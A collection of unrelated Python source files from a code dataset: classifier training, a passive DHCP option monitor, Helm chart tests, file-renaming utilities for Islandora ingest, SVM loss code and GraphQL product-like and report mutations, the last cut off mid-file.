samples.load_labels_file(\"digitdata/traininglabels\", num_training)\n raw_validation_data = samples.load_data_file(\"digitdata/validationimages\", num_test,DIGIT_DATUM_WIDTH,DIGIT_DATUM_HEIGHT)\n validation_labels = samples.load_labels_file(\"digitdata/validationlabels\", num_test)\n raw_test_data = samples.load_data_file(\"digitdata/testimages\", num_test,DIGIT_DATUM_WIDTH,DIGIT_DATUM_HEIGHT)\n test_labels = samples.load_labels_file(\"digitdata/testlabels\", num_test)\n\n\n # Extract features\n print(\"Extracting features...\")\n training_data = list(map(feature_function, raw_training_data))\n validation_data = list(map(feature_function, raw_validation_data))\n test_data = list(map(feature_function, raw_test_data))\n\n # Conduct training and testing\n print(\"Training...\")\n classifier.train(training_data, training_labels, validation_data, validation_labels)\n print(\"Validating...\")\n guesses = classifier.classify(validation_data)\n correct = [guesses[i] == validation_labels[i] for i in range(len(validation_labels))].count(True)\n print(str(correct), (\"correct out of \" + str(len(validation_labels)) + \" (%.1f%%).\") % (100.0 * correct / len(validation_labels)))\n print(\"Testing...\")\n guesses = classifier.classify(test_data)\n correct = [guesses[i] == test_labels[i] for i in range(len(test_labels))].count(True)\n print(str(correct), (\"correct out of \" + str(len(test_labels)) + \" (%.1f%%).\") % (100.0 * correct / len(test_labels)))\n analysis(classifier, guesses, test_labels, test_data, raw_test_data, print_image)\n\n # do odds ratio computation if specified at command line\n if((options.odds) & (options.classifier == \"naive_bayes\" or (options.classifier == \"nb\")) ):\n label1, label2 = options.label1, options.label2\n features_odds = classifier.find_high_odds_features(label1,label2)\n if(options.classifier == \"naive_bayes\" or options.classifier == \"nb\"):\n string3 = \"=== Features with highest odd ratio of label %d over label %d ===\" % (label1, label2)\n else:\n string3 = \"=== Features for which weight(label %d)-weight(label %d) is biggest ===\" % (label1, label2)\n\n print(string3)\n print_image(features_odds)\n\n\n if((options.weights) & ((options.classifier in [\"perceptron_numpy\", \"logistic\"]))):\n\n for i,l in enumerate(classifier.legal_labels):\n features_weights = classifier.find_high_weight_features(l, options.num_weights)\n print((\"=== Plotting Features with high weight for label %d ===\"%l))\n ax = plt.subplot(1, len(classifier.legal_labels), 1+i)\n print_image(features_weights, ax)\n plt.show()\n\nif __name__ == '__main__':\n # Read input\n args, options = read_command( sys.argv[1:] )\n # Run classifier\n run_classifier(args, options)\n","sub_path":"CSI-480-01_Artificial Intelligence/02_ Innov. IV_ Adv. Topics - AI - Fall 2017 (2017FA)/Supervised Learning Programming Assignment/data_classifier.py","file_name":"data_classifier.py","file_ext":"py","file_size_in_byte":24852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"410409160","text":"#!/usr/bin/env python\n\"\"\"\nUsage: sudo python dhcp_mon.py\n\nThis script monitors DHCP frames and highlights potentially malicious characters\ncontained within DHCP reply options fields\n\"\"\"\n\nfrom __future__ import print_function, absolute_import, unicode_literals\nfrom scapy.all import *\nimport signal\nimport sys\n__author__ = 'themson mester'\n\n\nINTERFACE = b'eth0'\nDHCPSRVR_PACKETS = (2, 5)\nBOLD_RED = '\\033[1;91m'\nEND = '\\033[0m'\nWARNCHARS = set('(){}')\n\n\ndef handler(signum, frame):\n \"\"\"Gracefully catch sigint\"\"\"\n print(\"\\nInterrupt caught: shutting down\")\n sys.exit(signum)\n\n\ndef print_frame(frame):\n \"\"\" Parse and print DHCP Frames\n\n parse sniffed DHCP frames\n print summary of client requests\n print full options of server replies\n Highlight potentially malicious chars\n\n :param frame:\n \"\"\"\n if 'DHCP' in frame:\n options = frame['DHCP options'].options\n type_value = options[0][1]\n type_name = scapy.layers.dhcp.DHCPTypes[type_value]\n print(\"\\nFRAME: {}\".format(frame.summary()))\n print(\"TYPE: DHCP-{}\".format(type_name))\n if type_value in DHCPSRVR_PACKETS:\n print(\"OPTIONS:\")\n for option in options:\n warn = False\n if type(option) is tuple:\n for arg in option:\n if any(char in WARNCHARS for char in str(arg)):\n warn = True\n if warn is True:\n print(BOLD_RED + ' {}'.format(option) + END)\n else:\n print(' {}'.format(option))\n\n if option == 'end': # Skip padding\n return\n\n\ndef sniffer():\n \"\"\"Instantiate scapy sniffer with DHCP filters\"\"\"\n try:\n sniff(iface=INTERFACE, prn=print_frame, filter='udp and (port bootps or bootps)', store=0)\n except Exception as _e:\n print(\"ERROR - sniffer(): {}\".format(_e.args))\n\n\ndef main():\n signal.signal(signal.SIGINT, handler)\n print(\"\\nLaunching DHCP monitor.\")\n print(\"Ctrl+C to exit\")\n sniffer()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"dhcp_mon.py","file_name":"dhcp_mon.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"457643059","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Apr 20 19:53:30 2018\r\n\r\n@author: bimta\r\n\"\"\"\r\n\r\nimport pyperclip\r\nimport re\r\nfrom matplotlib_venn import venn2, venn3\r\n\r\n#Indicators that repeat:\r\n \r\nrepeaters = {\"8.4.1/12.2.1\" : [\"8.4.1\", \"12.2.1\"],\r\n \"8.4.2/12.2.2\" : [\"8.4.2\", \"12.2.2\"],\r\n \"10.3.1/16.b.1\" : [\"10.3.1\", \"16.b.1\"],\r\n \"10.6.1/16.8.1\" : [\"10.6.1\", \"16.8.1\"],\r\n \"15.7.1/15.c.1\" : [\"15.7.1\", \"15.c.1\"],\r\n \"15.a.1/15.b.1\" : [\"15.a.1\", \"15.b.1\"],\r\n \"1.5.1/11.5.1/13.1.1\" : [\"1.5.1\", \"11.5.1\", \"13.1.1\"],\r\n \"1.5.3/11.b.1/13.1.2\" : [\"1.5.3\", \"11.b.1\", \"13.1.2\"],\r\n \"1.5.4/11.b.2/13.1.3\" : [\"1.5.4\", \"11.b.2\", \"13.1.3\"]}\r\n\r\n#Single mentions of these indicators are to be exchanged for their full name\r\ndef rm_repeating(my_list):\r\n new_list = []\r\n for e in my_list:\r\n for k, v in repeaters.items():\r\n if e in v: \r\n e = str(k)\r\n new_list.append(e)\r\n else:\r\n new_list.append(e)\r\n new_list = list(set(new_list))\r\n return new_list \r\n\r\n#Pick up any list of indicators from Excel:\r\ndef excel_paste():\r\n workplans_excel_pasted = pyperclip.paste()\r\n workplans_excel_cleaned = workplans_excel_pasted.replace(\"\\r\", \"\")\r\n workplans_excel = workplans_excel_cleaned.split(\"\\n\")\r\n workplans_excel.pop(-1)\r\n return workplans_excel\r\n\r\n#make sure that there are no additional thingies in list\r\ndef list_cleaner(my_list):\r\n my_new_list = []\r\n for entry in my_list:\r\n new_entry = re.sub('[^A-Za-z0-9./]+', '', entry)\r\n my_new_list.append(new_entry)\r\n return my_new_list\r\n\r\n#check overlaps between two lists\r\ndef overlap_check2(list1, list2, no_repeating = False):\r\n if no_repeating == False:\r\n list1 = list_cleaner(list1)\r\n list2 = list_cleaner(list2)\r\n \r\n if no_repeating == True :\r\n list1 = list_cleaner(rm_repeating(list1))\r\n list2 = list_cleaner(rm_repeating(list2))\r\n \r\n set1 = set(list1)\r\n set2 = set(list2)\r\n \r\n #'\\n'.join([str(myelement) for myelement in list(set1.difference(set2))])\r\n \r\n print(\"Only in 1st set:\\n\", ', '.join(list(set1.difference(set2))))\r\n print(\"Only in 2nd set: \\n\", ', '.join(list(set2.difference(set1))))\r\n print(\"In the intersection: \\n\", ', '.join(list(set1.intersection(set2))))\r\n \r\n venn2([set1, set2])\r\n\r\n#check overlaps between three lists \r\ndef overlap_check3(list1, list2, list3):\r\n list1 = list_cleaner(list1)\r\n list2 = list_cleaner(list2)\r\n list3 = list_cleaner(list3)\r\n set1 = set(list1)\r\n set2 = set(list2)\r\n set3 = set(list3)\r\n \r\n print(\"Only in 1st set: \", ', '.join(list(set1.difference(set2|set3))))\r\n print(\"Only in 2nd set: \", ', '.join(list(set2.difference(set1|set3))))\r\n print(\"Only in 3nd set: \", ', '.join(list(set3.difference(set1|set2))))\r\n \r\n venn3([set1, set2, set3])\r\n\r\n# ok great the two that are missing are actually 8.4.1 and 10.3.1 which double with 12.2.1 and 16.b.1\r\n\r\n\r\n#cleaning the list of indicators of those with \"a\" \"b\" \"x\" versions (only needed once)\r\ndef list_cleaner_metadata(my_list):\r\n all_indicators_cleaned = []\r\n for entry in my_list:\r\n if entry[-1].isalpha():\r\n entry_cleaned = entry[:-1]\r\n all_indicators_cleaned.append(entry_cleaned)\r\n else:\r\n all_indicators_cleaned.append(entry)\r\n #changing to set to remove duplicates\r\n my_set = set(all_indicators_cleaned)\r\n all_indicators_cleaned = list(my_set)\r\n return all_indicators_cleaned\r\n \r\n \r\ndef sort_indicators(my_list):\r\n my_list.sort(key= lambda key: int(key.split('.')[2]))\r\n my_list.sort(key= lambda key: int(key.split('.')[1].replace('a','90').replace('b','91').replace('c','92')))\r\n my_list.sort(key= lambda key: int(key.split('.')[0]))\r\n return my_list\r\n\r\n\r\n\r\n\r\n","sub_path":"helper_tools.py","file_name":"helper_tools.py","file_ext":"py","file_size_in_byte":3893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"325515088","text":"import pytest\nimport yaml\nfrom dagster_aws.s3.compute_log_manager import S3ComputeLogManager\nfrom dagster_azure.blob.compute_log_manager import AzureBlobComputeLogManager\nfrom dagster_gcp.gcs.compute_log_manager import GCSComputeLogManager\nfrom kubernetes.client import models\nfrom schema.charts.dagster.subschema.compute_log_manager import (\n AzureBlobComputeLogManager as AzureBlobComputeLogManagerModel,\n)\nfrom schema.charts.dagster.subschema.compute_log_manager import (\n GCSComputeLogManager as GCSComputeLogManagerModel,\n)\nfrom schema.charts.dagster.subschema.compute_log_manager import (\n S3ComputeLogManager as S3ComputeLogManagerModel,\n)\nfrom schema.charts.dagster.subschema.daemon import Daemon, QueuedRunCoordinator\nfrom schema.charts.dagster.subschema.postgresql import PostgreSQL, Service\nfrom schema.charts.dagster.values import DagsterHelmValues\nfrom schema.utils.helm_template import HelmTemplate\n\n\ndef to_camel_case(s: str) -> str:\n components = s.split(\"_\")\n return components[0] + \"\".join(x.title() for x in components[1:])\n\n\n@pytest.fixture(name=\"template\")\ndef helm_template() -> HelmTemplate:\n return HelmTemplate(\n helm_dir_path=\"helm/dagster\",\n subchart_paths=[\"charts/dagster-user-deployments\"],\n output=\"templates/configmap-instance.yaml\",\n model=models.V1ConfigMap,\n )\n\n\n@pytest.mark.parametrize(\"storage\", [\"schedule_storage\", \"run_storage\", \"event_log_storage\"])\ndef test_storage_postgres_db_config(template: HelmTemplate, storage: str):\n postgresql_username = \"username\"\n postgresql_host = \"1.1.1.1\"\n postgresql_database = \"database\"\n postgresql_params = {\n \"connect_timeout\": 10,\n \"application_name\": \"myapp\",\n \"options\": \"-c synchronous_commit=off\",\n }\n postgresql_port = 8080\n helm_values = DagsterHelmValues.construct(\n postgresql=PostgreSQL.construct(\n postgresqlUsername=postgresql_username,\n postgresqlHost=postgresql_host,\n postgresqlDatabase=postgresql_database,\n postgresqlParams=postgresql_params,\n service=Service(port=postgresql_port),\n )\n )\n\n configmaps = template.render(helm_values)\n\n assert len(configmaps) == 1\n\n instance = yaml.full_load(configmaps[0].data[\"dagster.yaml\"])\n\n assert instance[storage]\n\n postgres_db = instance[storage][\"config\"][\"postgres_db\"]\n\n assert postgres_db[\"username\"] == postgresql_username\n assert postgres_db[\"password\"] == {\"env\": \"DAGSTER_PG_PASSWORD\"}\n assert postgres_db[\"hostname\"] == postgresql_host\n assert postgres_db[\"db_name\"] == postgresql_database\n assert postgres_db[\"port\"] == postgresql_port\n assert postgres_db[\"params\"] == postgresql_params\n\n\n@pytest.mark.parametrize(\"enabled\", [True, False])\ndef test_run_coordinator_config(template: HelmTemplate, enabled: bool):\n module_name = \"dagster.core.run_coordinator\"\n class_name = \"QueuedRunCoordinator\"\n\n helm_values = DagsterHelmValues.construct(\n dagsterDaemon=Daemon.construct(\n queuedRunCoordinator=QueuedRunCoordinator.construct(\n enabled=enabled, module=module_name, class_name=class_name\n )\n )\n )\n configmaps = template.render(helm_values)\n assert len(configmaps) == 1\n\n instance = yaml.full_load(configmaps[0].data[\"dagster.yaml\"])\n\n assert (\"run_coordinator\" in instance) == enabled\n if enabled:\n assert instance[\"run_coordinator\"][\"module\"] == module_name\n assert instance[\"run_coordinator\"][\"class\"] == class_name\n\n\n@pytest.mark.parametrize(\n argnames=[\"json_schema_model\", \"compute_log_manager_class\"],\n argvalues=[\n (AzureBlobComputeLogManagerModel, AzureBlobComputeLogManager),\n (GCSComputeLogManagerModel, GCSComputeLogManager),\n (S3ComputeLogManagerModel, S3ComputeLogManager),\n ],\n)\ndef test_compute_log_manager_has_schema(json_schema_model, compute_log_manager_class):\n json_schema_fields = json_schema_model.schema()[\"properties\"].keys()\n compute_log_manager_fields = set(\n map(to_camel_case, compute_log_manager_class.config_type().keys())\n )\n\n assert json_schema_fields == compute_log_manager_fields\n","sub_path":"helm/dagster/schema/schema_tests/test_instance.py","file_name":"test_instance.py","file_ext":"py","file_size_in_byte":4197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"67985620","text":"import os\nfrom argparse import ArgumentParser\n\nimport atexit\nimport time\n\n\ndef convert(bin):\n \"\"\"\n 00010000 -> 00000001\n \"\"\"\n new_bin = ['0'] * 8\n # 10000000 -> 01000000\n new_bin[1] = bin[0]\n\n # 01000000 -> 00000100\n new_bin[5] = bin[1]\n\n # 00100000 -> 00000010\n new_bin[6] = bin[2]\n\n # 00010000 -> 00000001\n new_bin[7] = bin[3]\n\n # 00001000 -> 00001000\n new_bin[4] = bin[4]\n\n # 00000100 -> 00010000\n new_bin[3] = bin[5]\n\n # 00000010 -> 00100000\n new_bin[2] = bin[6]\n\n # 00000001 -> 10000000\n new_bin[0] = bin[7]\n\n return chr(int(''.join(new_bin), 2) + 0x2800)\n\n\ndef rotate(s, left=False):\n try:\n while True:\n print(convert(s), end='\\r')\n s = rotate_left(s) if left else rotate_right(s)\n time.sleep(0.5)\n except KeyboardInterrupt:\n pass\n\n\ndef rotate_left(s):\n return s[1:] + s[0]\n\n\ndef rotate_right(s):\n return s[-1] + s[:-1]\n\n\ndef print_dots(s, left=False):\n for i in range(8):\n print(convert(s), end='')\n s = rotate_left(s) if left else rotate_right(s)\n\n\nos.system('setterm -cursor off')\n\natexit.register(lambda: os.system('setterm -cursor on'))\nparser = ArgumentParser()\nparser.add_argument('bin', nargs='*')\nparser.add_argument('--rotate', nargs=1)\nparser.add_argument('--print', nargs=1)\nparser.add_argument('--left', action='store_true')\n\nargs = parser.parse_args()\nif args.rotate:\n rotate(args.rotate[0], args.left)\nelif args.print:\n print_dots(args.print[0], args.left)\nelse:\n for arg in args.bin:\n print(convert(arg))\n","sub_path":"scripts/loading_dots.py","file_name":"loading_dots.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"486943765","text":"import shutil\nimport tkinter as tk\nfrom pathlib import Path\nfrom tkinter.filedialog import askdirectory\n\ndef get_formatted_extension(from_extension, remediate=False):\n '''\n -- Purpose --\n Returns an extension that:\n 1. has a period in the front\n 2. Optional: is lower-case\n 3. Optional: return jpeg as jpg and tiff as tif\n\n -- Arguments --\n from_extension: type=string; file extension with or without a '.'\n\n -- Returns --\n formatted_extension: type=string; formatted extension\n '''\n # make sure there's a period at the front of the extension\n if from_extension.startswith('.'): # do nothing\n formatted_extension = from_extension\n else: # add a period\n formatted_extension = f'.{from_extension}'\n\n # make it lower-case\n if remediate:\n formatted_extension = formatted_extension.lower()\n # hard-coded alterations for jpeg and tiff\n if formatted_extension == '.jpeg':\n formatted_extension = '.jpg'\n elif formatted_extension == '.tiff':\n formatted_extension = '.tif'\n\n return formatted_extension\n\nclass ContinuingPublications_Volume:\n '''Common base class for Continuing Publications'''\n\n def __init__(self, directory):\n self.directory_path = Path(directory).resolve()\n\n\n def backup_volume(self):\n '''\n -- Purpose --\n Copy all files in directory to backup directory with name: <directory>_backup\n\n -- Arguments --\n None\n\n -- Returns --\n backup_directory_path: type=Path-like object; returns absolute path to backup directory\n '''\n backup_directory_name = f'{self.directory_path.name}_backup'\n backup_directory_path = self.directory_path.parents[0].joinpath(backup_directory_name)\n\n if backup_directory_path.exists(): # shutil.copytree requires directory to NOT exist\n # shutil.rmtree(backup_directory_path)\n print(f'Backup already exists at {backup_directory_path}')\n else:\n print(f'Backing up {self.directory_path.name} . . .')\n shutil.copytree(self.directory_path, backup_directory_path)\n\n if backup_directory_path.exists():\n print('Backup created')\n return backup_directory_path.resolve()\n\n\n def create_islandora_ingest_directory(self):\n '''\n -- Purpose --\n Create Islandora ingest directory with TIFF in nested structure\n\n -- Arguments --\n None\n\n -- Returns --\n ingest_directory_path: type=Path-like object; Path to the directory for ingest\n '''\n import datetime\n\n # set ingest stub to add to directory name\n ingest_stub = 'ForIslandoraIngest_Created'\n # get today's date in YYYY-MM-DD format and add to ingest stub\n todays_date = datetime.datetime.now().strftime('%Y-%m-%d')\n ingest_stub = f'{ingest_stub}_{todays_date}'\n\n # create ingest directory\n ingest_directory_name = f'{self.directory_path.name}_{ingest_stub}'\n ingest_directory_path = self.directory_path.parents[0].joinpath(ingest_directory_name)\n # try:\n # ingest_directory_path.mkdir()\n # except FileExistsError: # directory already exists\n # print(f'WARNING: ingest directory already exists at {ingest_directory_path}')\n\n self.directory_path.replace(ingest_directory_path)\n\n image_paths_list = [x for x in ingest_directory_path.glob('*.tif')]\n number_of_images = len(image_paths_list)\n\n print(f'Processing {number_of_images} images in {self.directory_path.name}')\n\n # for each image\n for index, image_path in enumerate(image_paths_list, start=1):\n\n # create a sub-directory with a simple index number\n image_subdirectory_path = ingest_directory_path.joinpath(str(index).zfill(6))\n try:\n image_subdirectory_path.mkdir()\n except FileExistsError:\n print(f'Sub-directory already exists at {image_subdirectory_path}')\n\n # set new image name and copy path, then copy image\n #copy_image_path = image_subdirectory_path.joinpath(image_path.name)\n #shutil.copyfile(image_path, copy_image_path)\n image_path.replace(image_subdirectory_path.joinpath(image_path.name))\n\n print(f'Ingest directory created at {ingest_directory_path}')\n print('')\n\n return ingest_directory_path\n\n\n def get_file_paths(self, with_extension):\n '''\n -- Purpose --\n Get all file Paths with_extension in self.directory_path\n\n -- Arguments --\n with_extension: type=string; extension to use for globbing\n\n -- Returns --\n file_paths_list: type:list; list of Path-like objects, 1 Path-like object\n per file_path in self.directory_path\n '''\n formatted_extension = get_formatted_extension(with_extension)\n file_paths_list = sorted(self.directory_path.glob(f'*{formatted_extension}'))\n return file_paths_list\n\n\n def rename_tiffs_to_directory_name(self, with_extension, zerofill=4):\n '''\n -- Purpose --\n Rename all files {with_extension} to {self.directory_path.name}_{str(index).zfill(zerofill)}\n *Note: will currently remediate extensions to lower-case and change tiff/jpeg to tif/jpg\n\n -- Arguments --\n with_extension: type=string; extension to rename\n zerofill: type=integer; how many digits to zeropad\n\n -- Returns --\n None\n '''\n formatted_extension = get_formatted_extension(with_extension)\n\n # extension will be lower-case and tif/jpg instead of tiff/jpeg\n remediated_extension = get_formatted_extension(with_extension, remediate=True)\n\n # get total number of files and the paths for files to rename\n file_paths_list = self.get_file_paths(formatted_extension)\n number_of_files = len(file_paths_list)\n\n print(f'{number_of_files} with {formatted_extension}')\n\n if number_of_files == 0:\n pass\n\n else: # rename files\n backup_directory_path = self.backup_volume()\n\n print(f'Renaming {number_of_files} \"{formatted_extension}\"s in {self.directory_path.name} . . .')\n\n count = 0\n try:\n for index, file_path in enumerate(file_paths_list, start=1):\n # rename TIFF files from Adobe Acrobat for Islandora ingest, i.e. FILENAME.extension\n new_file_name = f'{self.directory_path.name.upper()}_{str(index).zfill(zerofill)}{remediated_extension}'\n new_file_path = file_path.parents[0].joinpath(new_file_name)\n file_path.replace(new_file_path)\n count = index\n except IndexError:\n pass\n\n print(f' Renamed {count} \"{formatted_extension}\"s')\n print('')\n\n\n def rename_PDFs_for_ingest(self):\n\n pdf_paths_list = self.get_file_paths('.pdf')\n\n number_of_pdfs = len(pdf_paths_list)\n if number_of_pdfs == 0:\n print(f'{number_of_pdfs} PDFs to process')\n else: # process PDFs\n for pdf_path in pdf_paths_list:\n # expect PDF stems ending in original or processed\n if pdf_path.stem.lower().endswith('original'):\n new_pdf_path = pdf_path.parents[0].joinpath('ORIGINAL.pdf')\n elif pdf_path.stem.lower().endswith('processed'):\n new_pdf_path = pdf_path.parents[0].joinpath('PROCESSED.pdf')\n else: # don't rename\n print(f'{pdf_path} is not original or processed, manually remediate')\n print('')\n continue\n # rename PDF\n print(f'Renaming {pdf_path.name} to {new_pdf_path}')\n print('')\n pdf_path.replace(new_pdf_path)\n\nif __name__ == \"__main__\":\n\n # get file directory to process\n # https://stackoverflow.com/a/14119223\n root = tk.Tk()\n root.withdraw() # NO tk root window pop-up\n directory_path = Path(askdirectory())\n root.destroy() # close tk window\n\n print('')\n print(f'Directory: {directory_path}')\n print('')\n\n # create Volume\n volume = ContinuingPublications_Volume(directory_path)\n\n # rename Adobe Acrobat .tiff files to directory and .tif extension\n volume.rename_tiffs_to_directory_name('.tiff')\n volume.rename_tiffs_to_directory_name('.tif')\n\n # rename PDFs for ingest\n volume.rename_PDFs_for_ingest()\n\n # create Islanodra book ingest directory\n ingest_directory_path = volume.create_islandora_ingest_directory()\n\n # create book directory path as needed for Islandora\n book_directory_path = volume.directory_path.parents[0].joinpath('book')\n book_directory_path.mkdir(exist_ok=True)\n\n # move ingest directory into book directory\n final_path = book_directory_path.joinpath(ingest_directory_path.name)\n ingest_directory_path.replace(final_path)\n\n number_of_books = len([x for x in book_directory_path.iterdir() if x.is_dir()])\n print(f'{number_of_books} books in {book_directory_path} for ingest')\n print('')\n\n # keep command window open after running PyInstaller\n print('Press Enter key to close window')\n input()\n","sub_path":"utk_ContinuingPublications_CreateBookIngest.py","file_name":"utk_ContinuingPublications_CreateBookIngest.py","file_ext":"py","file_size_in_byte":9341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"408677587","text":"import numpy as np\nfrom random import shuffle\n\ndef svm_loss_naive(W, X, y, reg):\n \"\"\"\n Structured SVM loss function, naive implementation (with loops).\n\n Inputs have dimension D, there are C classes, and we operate on minibatches\n of N examples.\n\n Inputs:\n - W: A numpy array of shape (D, C) containing weights.\n - X: A numpy array of shape (N, D) containing a minibatch of data.\n - y: A numpy array of shape (N,) containing training labels; y[i] = c means\n that X[i] has label c, where 0 <= c < C.\n - reg: (float) regularization strength\n\n Returns a tuple of:\n - loss as single float\n - gradient with respect to weights W; an array of same shape as W\n \"\"\"\n dW = np.zeros(W.shape)\n num_classes = W.shape[1]\n num_train = X.shape[0]\n loss = 0.0\n delta = 1\n for i_train in range(num_train):\n scores = X[i_train].dot(W)\n correct_class_score = scores[y[i_train]]\n for j_weight in range(num_classes):\n if j_weight == y[i_train]:\n continue\n margin = scores[j_weight] - correct_class_score + delta # note delta = 1\n if margin > 0:\n loss += margin\n #dW[:, j_weight] += np.clip(X[i_train], -margin, margin)\n #dW[:, y[i_train]] -= np.clip(X[i_train], -margin, margin)\n dW[:, j_weight] += X[i_train]\n dW[:, y[i_train]] -= X[i_train]\n dW /= num_train\n loss += 0.5 * reg * np.sum(W * W)\n loss /= num_train\n return loss, dW\n\n\ndef svm_loss_vectorized(W, X, y, reg):\n \"\"\"\n Structured SVM loss function, vectorized implementation.\n\n Inputs and outputs are the same as svm_loss_naive.\n \"\"\"\n loss = 0.0\n dW = np.zeros(W.shape) # initialize the gradient as zero\n\n preds = X.dot(W)\n y_true_score = preds[np.arange(preds.shape[0]), y].reshape(preds.shape[0], 1)\n errors = preds - y_true_score + 1\n loss += (errors[errors > 0].sum() - y_true_score.shape[0])/ preds.shape[0]\n loss += 0.5 * reg * np.sum(W * W)\n\n upper_margin_mask = (preds > np.reshape(preds[np.arange(preds.shape[0]), y] - 1, (preds.shape[0], 1)))\n y_true_mask = preds == np.reshape(preds[np.arange(preds.shape[0]), y], (preds.shape[0], 1))\n has_upper_margin = upper_margin_mask.sum(1) > 1\n y_need_change = (-1) * (upper_margin_mask.sum(1).reshape(-1,1)) * (y_true_mask & has_upper_margin.reshape(-1, 1))\n change = upper_margin_mask + y_need_change\n\n for i_col in range(dW.shape[1]):\n dW[:, i_col] = (X * change[:, i_col].reshape(-1, 1)).sum(0)\n dW /= y.shape[0]\n return loss, dW\n","sub_path":"assigment1/cs231n/classifiers/linear_svm.py","file_name":"linear_svm.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"359360805","text":"#Printing to the Screen\nprint(\"Python is really a great language,\", \"isn't it?\")\n\n#Reading Keyboard Input\nstr = input(\"Enter your input: \")\nprint(\"Received input is :\", str)\n\n# Reading and Writing Files\n# we've written in the file\nfile = open(\"./files/forwrite.txt\", \"w\")\nfile.write(\"Hello world and hello universe too\")\nfile.close()\n\n# now we've read this file\nfile = open(\"./files/forwrite.txt\", \"r\")\nprint(file.read())\nfile.close()","sub_path":"files_io.py","file_name":"files_io.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"595428893","text":"from graphene import Mutation as ObjectMutation, ID, Boolean, List, String, ObjectType, Int\nfrom .import PRODUCT_LIKE_COLLECTION, PRODUCT_COLLECTION, PRODUCT_REPORT_COLLECTION, PRODUCT_BOOKMARK_COLLECTION\nfrom ..utils.utils import increase_or_decrease_a_document_field, remove_documents_from_a_collection\nimport logging\n\n\nclass ToggleLikeProduct(ObjectMutation):\n ok = Boolean(required=True)\n errorList = List(\n String,\n required=False,\n )\n\n class Arguments:\n toProductId = ID(required=True)\n\n async def mutate(self, info, **kwargs):\n \"\"\"\n add 1 like to product and remove if exist\n \"\"\"\n ok: bool = False\n errorList: list = list()\n user = info.context[\"request\"].user\n existingLikeRelationDocuments: list = list()\n\n # check authenticated or not:\n if user.is_authenticated:\n toProductId: str = kwargs.get(\"toProductId\", \"\").strip()\n myUserId: str = getattr(user, \"id\", \"\")\n if toProductId != \"\":\n if myUserId != \"\":\n # loooking for like relations ship between this user and this product:\n try:\n fetchResultGenerator = PRODUCT_LIKE_COLLECTION.where(\n u\"from_user_id\",\n u\"==\",\n u\"{}\".format(myUserId)\n ).where(\n u\"to_product_id\",\n u\"==\",\n u\"{}\".format(toProductId)\n ).stream()\n except Exception as e:\n logging.error(f\"Error getting user-product like: {e}.\")\n else:\n for like in fetchResultGenerator:\n existingLikeRelationDocuments.append(like)\n if len(existingLikeRelationDocuments):\n ok = True\n else:\n try:\n PRODUCT_LIKE_COLLECTION.add({\n u\"from_user_id\": myUserId,\n u\"to_product_id\": toProductId\n })\n except Exception as e:\n logging.error(f\"Error like product: {e}.\")\n else:\n ok = True\n else:\n logging.error(\"Couldn't get user id.\")\n else:\n errorList.append(\"Product id is required.\")\n else:\n errorList.append(\"You have to logged in to like this product.\")\n\n if ok and not len(errorList):\n background = info.context[\"background\"]\n amount = len(existingLikeRelationDocuments)\n if amount:\n background.add_task(\n remove_documents_from_a_collection,\n existingLikeRelationDocuments\n )\n # IMPORTANT: you have to increase || decrease \"number_of_likes\" from \".models.ProductLikeType\"\n background.add_task(\n increase_or_decrease_a_document_field,\n PRODUCT_COLLECTION,\n toProductId,\n \"number_of_likes\",\n 1 if amount == 0 else -amount\n )\n\n return ToggleLikeProduct(\n ok=ok,\n errorList=errorList\n )\n\n\nclass ReportProduct(ObjectMutation):\n ok = Boolean(required=True)\n errors = List(\n String,\n required=False\n )\n\n class Arguments:\n toProductId = ID(required=True)\n product_problems = List(Int, required=True)\n description = String(required=True)\n confirmation = Boolean(required=False)\n\n async def mutate(self, info, **kwargs):\n \"\"\"\n send a report if this user has not done yet\n \"product_problems\" can contains at most 3 problems\n \"\"\"\n from google.cloud.firestore_v1.document import DocumentSnapshot\n ok, errors = False, list()\n user = info.context[\"request\"].user\n\n if user.is_authenticated:\n # get this user id, refer to \"middleware.auth.py\"\n myUserId = getattr(user, \"id\", \"\")\n toProductId, product_problems, description, confirmation = [\n kwargs.get(key, \"\") for key in [\"toProductId\", \"product_problems\", \"description\", \"confirmation\"]\n ]\n if (toProductId == \"\") and (product_problems == [] or product_problems == \"\") and (description == \"\"):\n # it doesn't matter if an user submitted 'confirmation' or not\n errors.append(\"Please provide your information.\")\n elif toProductId != \"\":\n if (product_problems == [] or product_problems == \"\") and (description == \"\"):\n errors.append(\"Please enter the problems of this product.\")\n else:\n # check report exist or not:\n if myUserId != \"\":\n try:\n reportsGenerator = PRODUCT_REPORT_COLLECTION.where(\n u\"to_product_id\",\n u\"==\",\n u\"{}\".format(toProductId)\n ).where(\n u\"from_user_id\",\n u\"==\",\n u\"{}\".format(myUserId)\n ).stream()\n except Exception as e:\n logging.error(f\"Error fetching reports: {e}.\")\n else:\n reportsList = [\n report for report in reportsGenerator\n ]\n if len(reportsList):\n # the user already reported this product.\n # up date this product based on the new values:\n yourReport = reportsList[0]\n if isinstance(yourReport, DocumentSnapshot):\n try:\n yourReport.reference.update({\n u\"from_user_id\": myUserId,\n u\"to_product_id\": toProductId,\n u\"product_problems\": product_problems,\n u\"description\": description,\n u\"confirmation\": False if not isinstance(confirmation, bool) else confirmation\n })\n except Exception as e:\n logging.error(\n f\"Error updating report: {e}.\"\n )\n else:\n ok = True\n else:\n pass\n else:\n # create new report.\n try:\n PRODUCT_REPORT_COLLECTION.add({\n u\"from_user_id\": myUserId,\n u\"to_product_id\": toProductId,\n u\"product_problems\": product_problems,\n u\"description\": 